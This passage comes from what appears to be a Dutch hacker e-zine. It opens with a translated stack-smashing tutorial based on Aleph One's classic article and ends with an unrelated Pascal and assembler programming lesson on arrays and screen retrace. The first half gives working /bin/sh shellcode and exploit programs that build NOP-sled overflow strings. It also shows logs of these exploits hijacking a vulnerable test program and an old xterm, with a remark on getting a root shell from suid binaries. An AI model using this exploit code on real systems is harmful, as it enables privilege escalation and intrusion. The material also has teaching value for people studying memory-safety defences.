: int $0x80 0x800015f : call 0x8000135 0x8000164 : das 0x8000165 : boundl 0x6e(%ecx),%ebp 0x8000168 : das 0x8000169 : jae 0x80001d3 <__new_exitfn+55> 0x800016b : addb %cl,0x55c35dec(%ecx) End of assembler dump. (gdb) x/bx main+3 0x8000133 : 0xeb (gdb) x/bx main+4 0x8000134 : 0x2a (gdb) . . . (Log van Aleph1) ------------------------------------------------------------------------------ testsc.c ------------------------------------------------------------------------------ char shellcode[] = "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00" "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80" "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff" "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3"; void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } Nog steeds van Aleph1 ------------------------------------------------------------------------------ Noot: de code wordt niet op de stack geplaatst, maar in het data segment, dit is op de meeste systemen net als de stack executable (dwz het is mogelijk daar code uit te voeren). ------------------------------------------------------------------------------ [aleph1]$ gcc -o testsc testsc.c [aleph1]$ ./testsc $ exit [aleph1]$ ------------------------------------------------------------------------------ Het werk! Maar er is een probleem, in de meeste gevallen dat we proberen een buffer te overflowen gaat het om een character array, waarbij null bytes tellen als einde van de strings en het copieren gestaakt zal worden, wat er effectief voor zorgt dat de overflow niet lukt of in ieder geval dat de code niet volledig doorkomt. We moeten dus de null bytes uit de shellcode halen. Probleem instructie: Vervang door: -------------------------------------------------------- movb $0x0,0x7(%esi) xorl %eax,%eax movl $0x0,0xc(%esi) movb %eax,0x7(%esi) movl %eax,0xc(%esi) -------------------------------------------------------- movl $0xb,%eax movb $0xb,%al -------------------------------------------------------- movl $0x1, %eax xorl %ebx,%ebx movl $0x0, %ebx movl %ebx,%eax inc %eax -------------------------------------------------------- Onze code zonder null bytes wordt dan: shellcodeasm2.c ------------------------------------------------------------------------------ void main() { __asm__(" jmp 0x1f # 2 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes xorl %eax,%eax # 2 bytes movb %eax,0x7(%esi) # 3 bytes movl %eax,0xc(%esi) # 3 bytes movb $0xb,%al # 2 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes xorl %ebx,%ebx # 2 bytes movl %ebx,%eax # 2 bytes inc %eax # 1 bytes int $0x80 # 2 bytes call -0x24 # 5 bytes .string \"/bin/sh\" # 8 bytes # 46 bytes total "); } ------------------------------------------------------------------------------ En ons nieuwe test programma: testsc2.c ------------------------------------------------------------------------------ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ [aleph1]$ gcc -o testsc2 testsc2.c [aleph1]$ ./testsc2 $ exit [aleph1]$ ------------------------------------------------------------------------------ Het maken van een Exploit ~~~~~~~~~~~~~~~~~~~~~~~~~ (or how to mung the stack) ~~~~~~~~~~~~~~~~~~~~~~~~~~ Laten we alle stukjes tesamen voegen, we hebben de shellcode, we weten dat het deel moet uitmaken van de string waarmee we de buffer willen overflowen. We weten dat het return adres moet wijzen naar het begin van de buffer. Het voorbeeld hieronder laat de verschillende onderdelen zien: overflow1.c ------------------------------------------------------------------------------ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; char large_string[128]; void main() { char buffer[96]; int i; long *long_ptr = (long *) large_string; for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer; for (i = 0; i < strlen(shellcode); i++) large_string[i] = shellcode[i]; strcpy(buffer,large_string); } ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ [aleph1]$ gcc -o exploit1 exploit1.c [aleph1]$ ./exploit1 $ exit exit [aleph1]$ ------------------------------------------------------------------------------ We hebben de buffer large_string[] gevult met het adres van buffer[] waar onze code terecht zal komen en vervolgens hebben we onze shellcode naar het begin van large_string[] gecopieerd. strcpy() zal dan large_string[] copieren naar buffer[] zonder op de lengte te letten waardoor het return adres zal worden overschreven met het adres van onze code (buffer[]) en als we einde van main() hebben bereikt zal deze returnen naar onze code en een shell starten. Het probleem waar we mee zitten als we een buffer in een ander programma willen overflowen is dat we moeten uitzoeken wat het adres van deze buffer is (en waar dus onze code terecht zal komen). Het antwoord is dat voor elk programma de stack op hetzelfde adres start. En aangezien de meeste program- ma's niet meer dan een paar hondered tot duizend bytes op de stack opslaan is het mogelijk om met behulp van de kennis waar de stack start te gokken waar de buffer staan. Hierboven staat dat de stack voor elk programma op dezelfde plaats start dit is niet helemaal waar. Voor een beter begrip is het nodig te weten wat er bij de aanroep van een programma allemaal op de stack staat dit zijn: 1) Zijn argumenten (*argv[]) 2) En het environment (*envp[]) De precieze volgorde wordt hier niet behandeld (zelf uitzoeken is nog steeds de beste leermeester) 3) Hierna komen pas de dingen die door het programma zelf worden gepusht. Aangezien een child en zijn parent meestal hetzelfde environment hebben en ook ongeveer dezelfde lengte van arguments zal er weinig verschil zijn in start van de stack. (Uit bovenstaande volgt dat een remote exploit dat zijn eigen stack pointer gebruikt niet echt nuttig is) Hieronder staat een programma dat zijn eigen stack pointer uitprint. sp.c ------------------------------------------------------------------------------ unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main() { printf("0x%x\n", get_sp()); } ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ [aleph1]$ ./sp 0xbffffe3c [aleph1]$ ------------------------------------------------------------------------------ Laten we aannemen dat het programma dat we proberen te overflowen het volgende is: vulnerable.c ------------------------------------------------------------------------------ void main(int argc, char *argv[]) { char buffer[512]; if (argc > 1) strcpy(buffer,argv[1]); } ------------------------------------------------------------------------------ We maken een programma dat als parameter een buffer size en een offset vanaf zijn eigen stack pointer (waar wij aannemen dat in het vulnerable programma de buffer zit) krijgt. Dit programma maakt dan de overflow string inclusief return adres en shellcode en stopt deze in een environment variabele zodat hij makkelijk kan worden gebruikt. exploit2.c ------------------------------------------------------------------------------ #include #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr += 4; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; memcpy(buff,"EGG=",4); putenv(buff); system("/bin/bash"); } ------------------------------------------------------------------------------ Nu kunnen we proberen de buffer size en de offset goed te krijgen. ------------------------------------------------------------------------------ [aleph1]$ ./exploit2 500 Using address: 0xbffffdb4 [aleph1]$ ./vulnerable $EGG [aleph1]$ exit [aleph1]$ ./exploit2 600 Using address: 0xbffffdb4 [aleph1]$ ./vulnerable $EGG Illegal instruction [aleph1]$ exit [aleph1]$ ./exploit2 600 100 Using address: 0xbffffd4c [aleph1]$ ./vulnerable $EGG Segmentation fault [aleph1]$ exit [aleph1]$ ./exploit2 600 200 Using address: 0xbffffce8 [aleph1]$ ./vulnerable $EGG Segmentation fault [aleph1]$ exit . . . [aleph1]$ ./exploit2 600 1564 Using address: 0xbffff794 [aleph1]$ ./vulnerable $EGG $ ------------------------------------------------------------------------------ (Extraatje: waarom is de offset ongeveer 1564 in plaats van 0 wat logisch is als ze hetzelfde start adres van de stack hebben, dit heeft drie redenen: 1) In het vulnerable programma wordt een buffer van 512 bytes gedeclareerd, dit zorgt ervoor dat SP ongeveer 512 afwijkt. 2,3) Het begin van de stack is niet gelijk vanwege twee dingen, het EGG wordt in het environment geplaatst wat SP met 600 verlaagd, en vulnerable krijgt als argument een string van 600 characters mee wat SP nog eens 600 verlaagt. In totaal levert dit: 512 + 600 + 600 = 1712 bytes verschil op, dit moet nog verlaagd worden voor de argumenten in ./exploit2 en voor de variabelen in exploit2. Uiteindelijk kom je min of meer een beetje in de buurt van de 1564.) Zoals je kan zien is dit geen erg efficient proces. Proberen de offset te gokken is zelfs als je ongeveer het begin van de stack weet erg moeilijk, meestal heb je een paar honderd zo niet duizend gokken nodig om de juiste offset te vinden. Het probleem is dat we precies het goede adres moeten gokken. Als we slechts 1 byte er naast zitten zal de exploit (hoogst waarschijnlijk) niet werken. Een mogelijke oplossing is om het stuk voor de code op te vullen met NOP instructies, instructies die niets doen. Als we nu ergens tussen deze NOP's terecht komen zal de exploit werken, eerst worden de NOP's afgewerkt zonder verder resultaat en vervolgens komen we terecht bij de shellcode. Op de Intel is de code voor de NOP 0x90. We vullen nu dus onze buffer met een rij nops, dan de shellcode, en vervolgens met het (gegokte) return adres. De stack ziet er dan zo uit: bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory buffer sfp ret a b c <------ [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE] ^ | |_____________________| top of bottom of stack stack Het exploit wordt dan als volgt: exploit3.c ------------------------------------------------------------------------------ #include #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; for (i = 0; i < bsize/2; i++) buff[i] = NOP; ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; memcpy(buff,"EGG=",4); putenv(buff); system("/bin/bash"); } ------------------------------------------------------------------------------ Een goede keus voor onze buffer size is ongeveer 100 bytes meer dan de grote van de buffer die we willen overflowen, er is dan genoeg ruimte voor de NOP's en nog steeds wordt het return adres overschreven. Testen we ons vulnerable programma met de nieuwe exploit: ------------------------------------------------------------------------------ [aleph1]$ ./exploit3 612 Using address: 0xbffffdb4 [aleph1]$ ./vulnerable $EGG $ ------------------------------------------------------------------------------ (Extraatje 2: ik betwijfel deze uitvoer ten zeerste, bij de eerste versie moest de offset 0xbffff794 zijn nu opeens 0xbffffdb4? No Way maar goed, wat er waarschijnijk gebeurt is dat er gereturned wordt naar de buffer in het environment of naar de buffer in het argument maar goed) In 1 keer! Deze exploit heeft onze kansen een factor 100 vergroot. Laten we het nu proberen met een echte overflow. (Dit is min of meer een vertaling van Aleph One's "Smashing the Stack for fun and profit" dus deze bug zit waarschijnlijk in geen enkel systeem meer maar goed ik ben lui dus moeten jullie het doen met een oude bug ;). De bug die we gebruiken is die in de Xt library. We gebruiken als voorbeeld xterm. Voor het testen (als je een erg oud libXt hebt) moet je een X server draaien en connecties toestaan vanaf localhost. Zet ook je display variable goed. ------------------------------------------------------------------------------ [aleph1]$ export DISPLAY=:0.0 [aleph1]$ ./exploit3 1124 Using address: 0xbffffdb4 [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG Warning: Color name "ë^1¤FF ° óV ¤1¤Ø@¤èÜÿÿÿ/bin/sh¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ^C [aleph1]$ exit [aleph1]$ ./exploit3 2148 100 Using address: 0xbffffd48 [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG Warning: Color name "ë^1¤FF ° óV ¤1¤Ø@¤èÜÿÿÿ/bin/sh¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿWarning: some arguments in previous message were lost Illegal instruction [aleph1]$ exit . . . [aleph1]$ ./exploit4 2148 600 Using address: 0xbffffb54 [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG Warning: Color name "ë^1¤FF ° óV ¤1¤Ø@¤èÜÿÿÿ/bin/shûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿TûÿWarning: some arguments in previous message were lost bash$ ------------------------------------------------------------------------------ Eureka! in minder dan 12 keer en hebben we de goede waardes gevonden. Als xterm suid root was zou het een root shell zijn. Dvorak [Redactie: In de volgende H4H komt deel 2 hiervan.] ------------------------------ 12. Programmeren in Pascal 4 ------------------------------ 1. Introductie 2. Arrays en meer arrays en grotere arrays en... arrays 3. Kathodestraal (Vertikal & horizontal Rectrace) 4. Assembler: Jump functies & labels. 5. Pointers!!! 6. Inclosing 7. Einde 1. INTRODUCTIE Haha, het stond ook nog in de h4h_04, dat ik zowel mijn modem als mijn ISDN-moden had opgeblazen. Dat is ook zo, maar hij vergeet iets: - Ik heb ook mijn 15 inch monitor opgeblazen, met vertical panning. - Toen ik lag te rommelen in mijn computer kreeg ik een lekkere schok, en sloeg mijn (Terratec Maestro 32/96) geluidskaart doormidden. Verder merk ik dat het assembler gedeelte meer inslaat dan het Pascal gedeelte. Ik heb al diverse mailtjes gehad waarin stond dat de asm tutor roeleerde, ookal snapten ze er niks van ;) Maar ik ga gewoon door met Pascal. Heel af en toe zal ik er asm bij betrekken. Dit doe ik alleen als een bepaalde routine te moeilijk is in pascal, als snelheid een grote rol speeld, of als je een programma dat resident in het geheugen moet blijven wilt maken. Je wilt natuurlijk een zo klein mogelijke file, zodat je niet in een keer al je base-memory op gebruikt. 2. ARRAYS Een array is het allerlekkerste van heel pascal. Ik kan er duizenden gedichten over schrijven. Een array is ''n van de mooiste dingen in het leven. Voor de gemiddelde mens zijn dit de mooiste momenten: - Geboorte van het eerste kind - Huwelijk - Huwelijksreis - 2e Fase (How the #$%#@ did that came here?) Maar deze mensen hebben schijnbaar nooit een array ontmoet. Arrays zijn misschien wel de allermooiste dingen in het leven. Je kunt er zoveel mee doen. Je hebt ook vele verschillende soorten arrays: - 1 Dimensionaal - 2 Dimensionaal - 3 Dimensionaal - 4 " " - etc Het verschil is de manier waarop je de array vormgeeft. Je kunt met een twee-dimensionale array precies hetzelfde maken als met een drie-dimensio- nale array. Als je het niet snapt is het niet erg. Ik zou het ook niet snappen als iemand het mij zo had uitgelegd. Wat kun je met een array doen? Dit is een vervelende vraag, omdat je ontzettend veel met een array kan doen. Maar ik zal de twee meestgebruikte functies bespreken: - Grenzen stellen. - Opslag van data in het RAM geheugen. Ik geloof dat ik de eerste al ooit heb uitgelegd. Dit doe je namelijk ook zo bij typen cre‰ren. De tweede heb ik denk ik nog niet uitgelegd. Dat is juist het meest interessante deel van programmeren, omdat 99.9% van alle spellen en programma's die NU nog gemaakt worden, een of meer arrays bevatten . Even een voorbeeld: Stel je voor dat je een database-programma moest ontwikkelen voor een ziekenhuis ofzo, en ze hebben maar drie gegevens van je nodig: je naam, je klantnummer en of je pasje geldig is. Nu wil je een progje maken die van maximaal 200 klanten de naam, het klantnummer en of het pasje geldig is bijhoudt. Voorlopig alleen in het RAM-geheugen. const max_klanten = 200; type klantenkaart = record naam : string; klantnummer: 0..1234; geldig : boolean; end; Tklant = array [1..max_klanten] of klantenkaart; var nummer : integer; klant : Tklant; begin for nummer:=1 to max_klanten do klant[nummer].geldig:=true; end. Je ziet het voorbeeld hierboven. Een record is een verzameling typen, die op de een of andere manier met elkaar verbonden zijn. Ze horen hier elk bij een individuele klant. In een record kun je niks opslaan, in arrays kun je wel veel data opslaan. Dus maken we een array van 1 tot 200 van het type klantenkaart. Dus komt erin te zitten: 200*Naam + 200*Klantnummer + 200xGeldig. Om de array te kunnen gebruiken heb je een variabele nodig, klant verwijst naar array Tklant. Als ik nu alle pasjes geldig wil maken hoef ik dus alleen maar de naam van de variabele die apelleerd naar Tklant te noemen, steeds een nieuwe offset in de array kiezen, een punt [.] erachter te zetten, een van de inhoudelijke typen van de record te noemen, een [:=] erachter, en daarna de waarde die je eraan wilt geven. Bijvoorbeeld: klant[nummer].geldig:=true; Opzich is dit al een stapje verder naar OOP (Object Oriented Programming) oftewel Objekt Georienteerd Programmeren. Dat is ook slechts een kwestie van een [.] zetten ;) Op deze manier kun je je eigen database-programma maken, en er een zoeker instoppen, die bij een bepaald klantennummer de naam van de eigenaar opzoekt. Het is gewoon geen kunst meer aan he? 3. VERTIKALE TERUGSLAG (KATHODESTRAAL) Voor degenen die een pentium 266 MMX of hoger hebben werkt de gruwelijk handige CRT unit niet meer, je hebt wel patches, maar dingen als delay enzo zijn niet meer efficient. Het scheelt veel als je iets met delay maakt, en eerst op een pentium speelt, en daarna op een CGA XT. We moeten gewoon om de bugs heenwerken, en ik zal daarbij helpen. Ten eerste dus die delay, maar denk eens na, willen we wel een delay? Willen we niet liever iets wat op vrijwel alle systemen gelijk is, en nog eens makkelijk te programmeren is ook? Wat we nu doen is wachten totdat de kathodestraal het beeldscherm heeft opgebouwd, en daarna pas het beeld refreshen. (dit is tenminste bij een spel het geval, je gaat dan het flikkeren tegen) Wat moet ik hiervoor doen? Nou simpel: - Kijk of poort $3da gelijk of ongelijk is met $8 - Zo ja, doe niks In pascal programmeer je dit gewoon zo: While port[$3da] and 8=0 do; Ik heb voor het gemak deze procedure even omgezet naar assembler: asm mov dx, $3da @l1: in al, dx and al, $8 jnz @l1 @l2: in al, dx and al, $8 jz @l2 end; Dit is volgens mij de snelste manier die er is, ik heb alles ge- optimaliseerd. haha wat ben ik goed. Ik zie sommige superprofessionele programmeurs nog steeds dit doen: in al, dx; cmp al, $8 Sjeezus, wat een bocht, wie doet dat nou? Ja, het is wel de makkelijkste manier, maar er gaat snelheid in verloren, dus minder precizie. Om langer te wachten maak je gewoon een loop met deze routine. ASSEMBLER: JUMP FUNCTIONS & LABELS Net als in Qbasic heb je in assembler labels. Dit kan ook in Pascal, maar daar maakt nooit iemand gebruik van. In het voorbeeld van de waitretrace- procedure staan al twee labels, namelijk L1 en L2. In assembler noteer je labels met een '@' en achteraan een ':'. Dus je krijgt @L1: en @l2: . asm @L1: @L2: end; Dit is een heel bescheiden voorbeeldje :) Pascal en Tasm voeren dit gewoon uit. Alleen gebeurt er helemaal niks. Je moet er natuurlijk wel instructies in zetten, met een vergelijking (boolean). Je moet dus wel een vergelijking hebben, bijvoorbeeld: "als ... dan ..." Helaas is de uitvinder van assembler zo lastig geweest om alle boolean instructies een aparte naam te geven :( Stel je wilt met CMP, het statement voor vergelijk (compare), ax en bx met elkaar vergelijken. Je hebt nu een hele bak jumps (zoiets als GOTO in Basic) Eerst de unsigned: JE jump als ax=bx (Lees: [J]ump if [E]qual ) JNE jump als ax<>bx (Lees: [J]ump if [N]ot [E]qual ) JA jump als ax>bx (Lees: [J]ump if [A]bove ) JB jump als ax=bx (Lees: [J]ump if [A]bove or [E]qual ) JBE jump als ax<=bx (Lees: [J]ump if [B]elow or [E]qual ) JNA jump als niet (ax>bx) (Lees: [J]ump if [N]ot [A]bove ) JNB jump als niet (axbx) of (ax=bx) [J]ump if [N]ot [A]bove or [E]qual) JNBE jump als niet (ax